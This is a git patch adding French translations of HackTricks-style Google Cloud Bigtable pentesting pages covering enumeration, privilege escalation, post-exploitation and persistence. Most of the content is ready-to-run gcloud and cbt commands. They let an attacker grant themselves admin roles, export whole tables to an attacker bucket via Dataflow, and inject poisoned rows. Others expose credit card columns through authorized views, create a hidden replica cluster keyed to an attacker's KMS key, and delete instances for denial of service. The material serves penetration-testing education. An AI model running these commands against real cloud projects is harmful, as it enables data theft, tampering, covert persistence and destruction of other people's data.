From 942489f41d445cdec5f0dc387731e2c1fe0e7044 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 19 Nov 2025 14:46:16 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bigta --- .../gcp-bigtable-persistence.md | 52 ++++ .../gcp-bigtable-post-exploitation.md | 252 ++++++++++++++++++ .../gcp-bigtable-privesc.md | 106 ++++++++ .../gcp-services/gcp-bigtable-enum.md | 92 ++++++- 4 files changed, 500 insertions(+), 2 deletions(-) create mode 100644 src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bigtable-persistence.md create mode 100644 src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigtable-post-exploitation.md create mode 100644 src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md diff --git a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bigtable-persistence.md b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bigtable-persistence.md new file mode 100644 index 000000000..e95ec57f0 --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bigtable-persistence.md @@ -0,0 +1,52 @@ +# GCP - Bigtable Persistance + +{{#include ../../../banners/hacktricks-training.md}} + +## Bigtable + +Pour plus d'informations sur Bigtable, consultez : + +{{#ref}} +../gcp-services/gcp-bigtable-enum.md +{{#endref}} + +### App Profile dédié à l'attaquant + +**Autorisations :** `bigtable.appProfiles.create`, `bigtable.appProfiles.update`. + +Créez un app profile qui redirige le trafic vers votre replica cluster et activez Data Boost afin de ne jamais dépendre de provisioned nodes que les défenseurs pourraient détecter. +```bash +gcloud bigtable app-profiles create stealth-profile \ +--instance= --route-any --restrict-to= \ +--row-affinity --description="internal batch" + +gcloud bigtable app-profiles update stealth-profile \ +--instance= --data-boost \ +--data-boost-compute-billing-owner=HOST_PAYS +``` +Tant que ce profil existe, vous pouvez vous reconnecter en utilisant des identifiants récents qui le référencent. + +### Maintenez votre propre cluster répliqué + +**Autorisations:** `bigtable.clusters.create`, `bigtable.instances.update`, `bigtable.clusters.list`. + +Provisionnez un cluster avec un nombre minimal de nœuds dans une région peu active. Même si vos identités client disparaissent, **le cluster conserve une copie complète de chaque table** jusqu'à ce que les défenseurs la suppriment explicitement. +```bash +gcloud bigtable clusters create dark-clone \ +--instance= --zone=us-west4-b --num-nodes=1 +``` +Surveillez-le via `gcloud bigtable clusters describe dark-clone --instance=` afin de pouvoir mettre à l'échelle instantanément lorsque vous devez récupérer des données. + +### Verrouillez la réplication derrière votre propre CMEK + +**Permissions:** `bigtable.clusters.create`, `cloudkms.cryptoKeyVersions.useToEncrypt` sur la clé contrôlée par l'attaquant. + +Fournissez votre propre clé KMS lors du déploiement d'un clone. Sans cette clé, Google ne peut pas recréer ni basculer le cluster, donc les blue teams doivent se coordonner avec vous avant d'y toucher. +```bash +gcloud bigtable clusters create cmek-clone \ +--instance= --zone=us-east4-b --num-nodes=1 \ +--kms-key=projects//locations//keyRings//cryptoKeys/ +``` +Faites pivoter ou désactivez la clé dans votre projet pour rendre la réplique immédiatement inutilisable (tout en vous permettant de la réactiver plus tard). + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigtable-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigtable-post-exploitation.md new file mode 100644 index 000000000..f82d63f28 --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigtable-post-exploitation.md @@ -0,0 +1,252 @@ +# GCP - Bigtable Post-exploitation + +{{#include ../../../banners/hacktricks-training.md}} + +## Bigtable + +Pour plus d'informations sur Bigtable, consultez : + +{{#ref}} +../gcp-services/gcp-bigtable-enum.md +{{#endref}} + +> [!TIP] +> Installez l'interface en ligne de commande `cbt` une fois via le Cloud SDK afin que les commandes ci-dessous fonctionnent localement : +> +> ```bash +> gcloud components install cbt +> ``` + +### Lire les lignes + +**Permissions :** `bigtable.tables.readRows` + +`cbt` est fourni avec le Cloud SDK et interagit directement avec les APIs admin/data sans passer par un middleware. Pointez-le vers le projet/instance compromis et extrayez les lignes directement de la table. Limitez le scan si vous ne voulez qu'un aperçu. +```bash +# Install cbt +gcloud components update +gcloud components install cbt + +# Read entries with creds of gcloud +cbt -project= -instance= read +``` +### Écrire des lignes + +**Autorisations :** `bigtable.tables.mutateRows`, (vous aurez besoin de `bigtable.tables.readRows` pour confirmer la modification). + +Utilisez le même outil pour upsert des cellules arbitraires. C'est le moyen le plus rapide pour backdoorer des configs, déposer des web shells, ou implanter des rows de dataset empoisonnées. +```bash +# Inject a new row +cbt -project= -instance= set := + +cbt -project= -instance= set user#1337 profile:name="Mallory" profile:role="admin" secrets:api_key=@/tmp/stealme.bin + +# Verify the injected row +cbt -project= -instance= read rows=user#1337 +``` +`cbt set` accepte des octets bruts via la syntaxe `@/path`, vous pouvez donc pousser des compiled payloads ou des serialized protobufs exactement comme les downstream services s'y attendent. + +### Exporter les lignes vers votre bucket + +**Permissions:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs` + +Il est possible d'exfiltrer le contenu d'une table entière vers un bucket contrôlé par l'attaquant en lançant un job Dataflow qui envoie les lignes vers un bucket GCS que vous contrôlez. + +> [!NOTE] +> Notez que vous aurez besoin de la permission `iam.serviceAccounts.actAs` sur un SA disposant de permissions suffisantes pour effectuer l'export (par défaut, si cela n'est pas indiqué autrement, le default compute SA sera utilisé). +```bash +gcloud dataflow jobs run \ +--gcs-location=gs://dataflow-templates-us-//Cloud_Bigtable_to_GCS_Json \ +--project= \ +--region= \ +--parameters=,bigtableInstanceId=,bigtableTableId=,filenamePrefix=,outputDirectory=gs:///raw-json/ \ +--staging-location=gs:///staging/ + +# Example +gcloud dataflow jobs run dump-bigtable3 \ +--gcs-location=gs://dataflow-templates-us-central1/latest/Cloud_Bigtable_to_GCS_Json \ +--project=gcp-labs-3uis1xlx \ +--region=us-central1 \ +--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,filenamePrefix=prefx,outputDirectory=gs://deleteme20u9843rhfioue/raw-json/ \ +--staging-location=gs://deleteme20u9843rhfioue/staging/ +``` +> [!NOTE] +> Changez le modèle pour `Cloud_Bigtable_to_GCS_Parquet` ou `Cloud_Bigtable_to_GCS_SequenceFile` si vous voulez des sorties Parquet/SequenceFile au lieu de JSON. Les permissions sont les mêmes ; seul le chemin du modèle change. + +### Importer des lignes + +**Autorisations:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs` + +Il est possible d'importer le contenu d'une table entière depuis un bucket contrôlé par l'attaquant en lançant un job Dataflow qui stream des lignes vers un bucket GCS que vous contrôlez. Pour cela, l'attaquant devra d'abord créer un fichier parquet contenant les données à importer avec le schéma attendu. Un attaquant pourrait d'abord exporter les données au format parquet en suivant la technique précédente avec le paramètre `Cloud_Bigtable_to_GCS_Parquet` et ajouter de nouvelles entrées dans le fichier parquet téléchargé + + + +> [!NOTE] +> Notez que vous aurez besoin de l'autorisation `iam.serviceAccounts.actAs` sur un SA disposant des permissions suffisantes pour effectuer l'export (par défaut, si rien d'autre n'est indiqué, le SA compute par défaut sera utilisé). +```bash +gcloud dataflow jobs run import-bt-$(date +%s) \ +--region= \ +--gcs-location=gs://dataflow-templates-/>/GCS_Parquet_to_Cloud_Bigtable \ +--project= \ +--parameters=bigtableProjectId=,bigtableInstanceId=,bigtableTableId=,inputFilePattern=gs:///import/bigtable_import.parquet \ +--staging-location=gs:///staging/ + +# Example +gcloud dataflow jobs run import-bt-$(date +%s) \ +--region=us-central1 \ +--gcs-location=gs://dataflow-templates-us-central1/latest/GCS_Parquet_to_Cloud_Bigtable \ +--project=gcp-labs-3uis1xlx \ +--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,inputFilePattern=gs://deleteme20u9843rhfioue/import/parquet_prefx-00000-of-00001.parquet \ +--staging-location=gs://deleteme20u9843rhfioue/staging/ +``` +### Restauration des sauvegardes + +**Permissions:** `bigtable.backups.restore`, `bigtable.tables.create`. + +Un attaquant disposant de ces permissions peut restaurer une sauvegarde dans une nouvelle table sous son contrôle afin de pouvoir récupérer d'anciennes données sensibles. +```bash +gcloud bigtable backups list --instance= \ +--cluster= + +gcloud bigtable instances tables restore \ +--source=projects//instances//clusters//backups/ \ +--async \ +--destination= \ +--destination-instance= \ +--project= +``` +### Restaurer des tables + +**Permissions:** `bigtable.tables.undelete` + +Bigtable prend en charge la suppression temporaire avec une période de grâce (généralement 7 jours par défaut). Pendant cette fenêtre, un attaquant disposant de l'autorisation `bigtable.tables.undelete` peut restaurer une table récemment supprimée et récupérer toutes ses données, pouvant accéder à des informations sensibles considérées comme détruites. + +Ceci est particulièrement utile pour : +- Récupérer des données depuis des tables supprimées par les défenseurs lors de la réponse aux incidents +- Accéder à des données historiques qui ont été intentionnellement purgées +- Annuler des suppressions accidentelles ou malveillantes pour maintenir la persistance +```bash +# List recently deleted tables (requires bigtable.tables.list) +gcloud bigtable instances tables list --instance= \ +--show-deleted + +# Undelete a table within the retention period +gcloud bigtable instances tables undelete \ +--instance= +``` +> [!NOTE] +> L'opération undelete ne fonctionne que dans la période de rétention configurée (par défaut 7 jours). Après l'expiration de cette fenêtre, la table et ses données sont définitivement supprimées et ne peuvent pas être récupérées par cette méthode. + + +### Créer des Authorized Views + +**Autorisations :** `bigtable.authorizedViews.create`, `bigtable.tables.readRows`, `bigtable.tables.mutateRows` + +Authorized views vous permettent de présenter un sous-ensemble sélectionné de la table. Au lieu de respecter le principe du moindre privilège, utilisez-les pour publier **exactement les ensembles de colonnes/lignes sensibles** qui vous intéressent et whitelist your own principal. + +> [!WARNING] +> Le problème est que pour créer une authorized view, vous devez aussi pouvoir lire et muter des lignes dans la table de base ; vous n'obtenez donc aucune permission supplémentaire, et cette technique est donc essentiellement inutile. +```bash +cat <<'EOF' > /tmp/credit-cards.json +{ +"subsetView": { +"rowPrefixes": ["acct#"], +"familySubsets": { +"pii": { +"qualifiers": ["cc_number", "cc_cvv"] +} +} +} +} +EOF + +gcloud bigtable authorized-views create card-dump \ +--instance= --table= \ +--definition-file=/tmp/credit-cards.json + +gcloud bigtable authorized-views add-iam-policy-binding card-dump \ +--instance= --table= \ +--member='user:' --role='roles/bigtable.reader' +``` +Comme l'accès est limité à la view, les défenseurs négligent souvent le fait que vous venez de créer un nouveau point de terminaison à haute sensibilité. + +### Read Authorized Views + +**Permissions:** `bigtable.authorizedViews.readRows` + +Si vous avez accès à un Authorized View, vous pouvez lire des données depuis celui-ci en utilisant les bibliothèques clientes Bigtable en spécifiant le nom de l'Authorized View dans vos requêtes de lecture. Notez que l'Authorized View limitera probablement ce à quoi vous avez accès dans la table. Ci-dessous un exemple en Python: +```python +from google.cloud import bigtable +from google.cloud.bigtable_v2 import BigtableClient as DataClient +from google.cloud.bigtable_v2 import ReadRowsRequest + +# Set your project, instance, table, view id +PROJECT_ID = "gcp-labs-3uis1xlx" +INSTANCE_ID = "avesc-20251118172913" +TABLE_ID = "prod-orders" +AUTHORIZED_VIEW_ID = "auth_view" + +client = bigtable.Client(project=PROJECT_ID, admin=True) +instance = client.instance(INSTANCE_ID) +table = instance.table(TABLE_ID) + +data_client = DataClient() +authorized_view_name = f"projects/{PROJECT_ID}/instances/{INSTANCE_ID}/tables/{TABLE_ID}/authorizedViews/{AUTHORIZED_VIEW_ID}" + +request = ReadRowsRequest( +authorized_view_name=authorized_view_name +) + +rows = data_client.read_rows(request=request) +for response in rows: +for chunk in response.chunks: +if chunk.row_key: +row_key = chunk.row_key.decode('utf-8') if isinstance(chunk.row_key, bytes) else chunk.row_key +print(f"Row: {row_key}") +if chunk.family_name: +family = chunk.family_name.value if hasattr(chunk.family_name, 'value') else chunk.family_name +qualifier = chunk.qualifier.value.decode('utf-8') if hasattr(chunk.qualifier, 'value') else chunk.qualifier.decode('utf-8') +value = chunk.value.decode('utf-8') if isinstance(chunk.value, bytes) else str(chunk.value) +print(f" {family}:{qualifier} = {value}") +``` +### Denial of Service via Delete Operations + +**Autorisations :** `bigtable.appProfiles.delete`, `bigtable.authorizedViews.delete`, `bigtable.authorizedViews.deleteTagBinding`, `bigtable.backups.delete`, `bigtable.clusters.delete`, `bigtable.instances.delete`, `bigtable.tables.delete` + +Toutes les permissions de suppression de Bigtable peuvent être exploitées pour des denial of service attacks. Un attaquant disposant de ces autorisations peut perturber les opérations en supprimant des ressources Bigtable critiques : + +- **`bigtable.appProfiles.delete`**: Supprimer les profils d'application, rompant les connexions clientes et les configurations de routage +- **`bigtable.authorizedViews.delete`**: Retirer des vues autorisées, coupant les chemins d'accès légitimes pour les applications +- **`bigtable.authorizedViews.deleteTagBinding`**: Supprimer les liaisons de tags des vues autorisées +- **`bigtable.backups.delete`**: Détruire les instantanés de sauvegarde, éliminant les options de reprise après sinistre +- **`bigtable.clusters.delete`**: Supprimer des clusters entiers, provoquant une indisponibilité immédiate des données +- **`bigtable.instances.delete`**: Supprimer des instances Bigtable complètes, effaçant toutes les tables et configurations +- **`bigtable.tables.delete`**: Supprimer des tables individuelles, entraînant une perte de données et des défaillances d'application +```bash +# Delete a table +gcloud bigtable instances tables delete \ +--instance= + +# Delete an authorized view +gcloud bigtable authorized-views delete \ +--instance= --table= + +# Delete a backup +gcloud bigtable backups delete \ +--instance= --cluster= + +# Delete an app profile +gcloud bigtable app-profiles delete \ +--instance= + +# Delete a cluster +gcloud bigtable clusters delete \ +--instance= + +# Delete an entire instance +gcloud bigtable instances delete +``` +> [!WARNING] +> Les opérations de suppression sont souvent immédiates et irréversibles. Assurez-vous que des sauvegardes existent avant de tester ces commandes, car elles peuvent provoquer une perte de données permanente et une interruption majeure du service. + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md new file mode 100644 index 000000000..5655356cb --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md @@ -0,0 +1,106 @@ +# GCP - Bigtable Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## Bigtable + +Pour plus d'informations sur Bigtable, consultez : + +{{#ref}} +../gcp-services/gcp-bigtable-enum.md +{{#endref}} + +### `bigtable.instances.setIamPolicy` + +**Permissions :** `bigtable.instances.setIamPolicy` (et généralement `bigtable.instances.getIamPolicy` pour lire les liaisons actuelles). + +Posséder la stratégie IAM de l'instance vous permet de vous attribuer **`roles/bigtable.admin`** (ou n'importe quel rôle personnalisé) qui se propage à tous les clusters, tables, sauvegardes et vues autorisées de l'instance. +```bash +gcloud bigtable instances add-iam-policy-binding \ +--member='user:' \ +--role='roles/bigtable.admin' +``` +> [!TIP] +> Si vous ne pouvez pas lister les bindings existants, créez un nouveau document de policy et poussez-le avec `gcloud bigtable instances set-iam-policy` à condition d'y conserver vos propres droits. + +Après avoir obtenu cette permission, consultez la [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) pour d'autres façons d'abuser des permissions Bigtable. + +### `bigtable.tables.setIamPolicy` + +**Permissions :** `bigtable.tables.setIamPolicy` (optionnellement `bigtable.tables.getIamPolicy`). + +Les politiques d'instance peuvent être verrouillées tandis que des tables individuelles sont déléguées. Si vous pouvez modifier l'IAM de la table, vous pouvez **vous promouvoir en tant que propriétaire du dataset cible** sans toucher aux autres workloads. +```bash +gcloud bigtable tables add-iam-policy-binding \ +--instance= \ +--member='user:' \ +--role='roles/bigtable.admin' +``` +Une fois en possession de cette permission, consultez la [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) pour d'autres façons d'abuser des permissions Bigtable. + + +### `bigtable.backups.setIamPolicy` + +**Permissions :** `bigtable.backups.setIamPolicy` + +Les sauvegardes peuvent être restaurées dans **n'importe quelle instance de n'importe quel projet** que vous contrôlez. D'abord, donnez à votre identité l'accès à la sauvegarde, puis restaurez-la dans un sandbox où vous disposez des rôles Admin/Owner. + +Si vous avez la permission `bigtable.backups.setIamPolicy`, vous pouvez vous accorder la permission `bigtable.backups.restore` pour restaurer d'anciennes sauvegardes et tenter d'accéder à des informations sensibles. +```bash +# Take ownership of the snapshot +gcloud bigtable backups add-iam-policy-binding \ +--instance= --cluster= \ +--member='user:' \ +--role='roles/bigtable.admin' +``` +Après avoir obtenu cette permission, consultez la [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) pour voir comment restaurer une sauvegarde. + + +### Update authorized view + +**Autorisations :** `bigtable.authorizedViews.update` + +Authorized Views sont censées masquer des lignes/colonnes. Les modifier ou les supprimer **supprime les garde-fous granulaires** sur lesquels les défenseurs comptent. +```bash +# Broaden the subset by uploading a permissive definition +gcloud bigtable authorized-views update \ +--instance= --table= \ +--definition-file=/tmp/permissive-view.json --ignore-warnings + +# Json example not filtering any row or column +cat <<'EOF' > /tmp/permissive-view.json +{ +"subsetView": { +"rowPrefixes": [""], +"familySubsets": { +"": { +"qualifierPrefixes": [""] +} +} +} +} +EOF + +# Describe the authorized view to get a family name +gcloud bigtable authorized-views describe \ +--instance= --table= +``` +Si vous disposez de cette permission, consultez la [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) pour savoir comment lire depuis une Authorized View. + +### `bigtable.authorizedViews.setIamPolicy` + +**Autorisations :** `bigtable.authorizedViews.setIamPolicy`. + +Un attaquant disposant de cette permission peut s'accorder l'accès à une Authorized View, qui peut contenir des données sensibles auxquelles il n'aurait pas autrement accès. +```bash +# Give more permissions over an existing view +gcloud bigtable authorized-views add-iam-policy-binding \ +--instance= --table= \ +--member='user:' \ +--role='roles/bigtable.viewer' +``` +Après avoir effectué cette vérification des permissions dans la [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) pour voir comment lire depuis une vue autorisée. + + + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-services/gcp-bigtable-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-bigtable-enum.md index 26e03a5d1..dd6450b34 100644 --- a/src/pentesting-cloud/gcp-security/gcp-services/gcp-bigtable-enum.md +++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-bigtable-enum.md @@ -2,9 +2,70 @@ {{#include ../../../banners/hacktricks-training.md}} -## [Bigtable](https://cloud.google.com/sdk/gcloud/reference/bigtable/) +## Bigtable -Un service de base de données NoSQL entièrement géré et évolutif pour de grandes charges de travail analytiques et opérationnelles avec jusqu'à 99,999 % de disponibilité. [Learn more](https://cloud.google.com/bigtable). +Google Cloud Bigtable est une base de données NoSQL entièrement gérée et évolutive, conçue pour des applications nécessitant un débit extrêmement élevé et une très faible latence. Elle est conçue pour gérer des volumes massifs de données — des pétaoctets répartis sur des milliers de nœuds — tout en offrant des performances rapides en lecture et en écriture. Bigtable est idéale pour des charges de travail telles que les séries temporelles, la télémétrie IoT, l'analytique financière, les moteurs de personnalisation et les bases de données opérationnelles à grande échelle. Elle utilise une map triée multidimensionnelle, sparse et distribuée comme modèle de stockage sous-jacent, ce qui la rend efficace pour stocker des tables larges où de nombreuses colonnes peuvent être vides. [Learn more](https://cloud.google.com/bigtable). + +### Hiérarchie + +1. **Bigtable Instance** + +Une Bigtable instance est la ressource de niveau supérieur que vous créez. +Elle ne stocke pas les données en elle-même — pensez-y comme un conteneur logique qui regroupe vos clusters et vos tables. + +Il existe deux types d'instances : + +- instance de développement (nœud unique, peu coûteuse, pas pour la production) +- instance de production (peut avoir plusieurs clusters) + +2. **Clusters** + +Un cluster contient les ressources réelles de calcul et de stockage utilisées pour servir les données Bigtable. + +- Chaque cluster réside dans une seule région. +- Il est composé de nœuds, qui fournissent CPU, RAM et capacité réseau. +- Vous pouvez créer des instances multi-clusters pour la haute disponibilité ou des lectures/écritures globales. +- Les données sont automatiquement répliquées entre les clusters d'une même instance. + +Important : +- Les tables appartiennent à l'instance, pas à un cluster spécifique. +- Les clusters fournissent simplement les ressources pour servir les données. + +3. **Tables** + +Une table dans Bigtable est similaire à une table dans les bases de données NoSQL : + +- Les données sont stockées en lignes, identifiées par une clé de ligne. +- Chaque ligne contient des column families, qui contiennent des colonnes. +- Elles sont sparse : les cellules vides ne consomment pas d'espace. +- Bigtable stocke les données triées lexicographiquement par la clé de ligne. + +Les tables sont servies par tous les clusters de l'instance. + +4. **Tablets (and Hot Tablets)** + +Bigtable divise chaque table en partitions horizontales appelées tablets. Une tablet est : + +- Une plage contiguë de clés de ligne. +- Stockée sur un seul nœud à un moment donné. +- Les tablets sont automatiquement scindées, fusionnées et déplacées par Bigtable. + +Un **hot tablet** survient lorsque : + +- Trop de lectures ou d'écritures ciblent la même plage de clés de ligne (même tablet). +- Ce tablet/nœud spécifique devient surchargé. +- Cela entraîne des hotspots (goulots d'étranglement de performance). + +5. **Authorized Views** + +Les authorized views permettent de créer un sous-ensemble des données d'une table pouvant être partagé avec des utilisateurs ou des applications spécifiques sans leur donner accès à la table entière. Cela est utile pour : + +- Limiter l'accès aux données sensibles. +- Fournir un accès en lecture seule à des colonnes ou des lignes spécifiques. + +6. **App Profiles** + +Un app profile Bigtable est une configuration qui définit comment une application ou un client spécifique doit interagir avec une instance Bigtable, en particulier dans des environnements multi-clusters. Il contrôle le comportement de routage — si les requêtes doivent être dirigées vers un seul cluster ou réparties entre plusieurs clusters pour la haute disponibilité — et gouverne la façon dont les écritures sont répliquées, en choisissant entre des modes synchrones (consistance plus forte) ou asynchrones (latence plus faible). ```bash # Cloud Bigtable gcloud bigtable instances list @@ -15,6 +76,11 @@ gcloud bigtable instances get-iam-policy gcloud bigtable clusters list gcloud bigtable clusters describe +## Tables +gcloud bigtable tables list --instance +gcloud bigtable tables describe --instance
+gcloud bigtable tables get-iam-policy --instance
+ ## Backups gcloud bigtable backups list --instance gcloud bigtable backups describe --instance @@ -26,5 +92,27 @@ gcloud bigtable hot-tablets list ## App Profiles gcloud bigtable app-profiles list --instance gcloud bigtable app-profiles describe --instance + +## Authorized Views +gcloud bigtable authorized-views list --instance --table
+gcloud bigtable authorized-views describe --instance --table
``` +## Escalade de privilèges + +{{#ref}} +../gcp-privilege-escalation/gcp-bigtable-privesc.md +{{#endref}} + +## Post-exploitation + +{{#ref}} +../gcp-post-exploitation/gcp-bigtable-post-exploitation.md +{{#endref}} + +## Persistance + +{{#ref}} +../gcp-persistence/gcp-bigtable-persistence.md +{{#endref}} + {{#include ../../../banners/hacktricks-training.md}}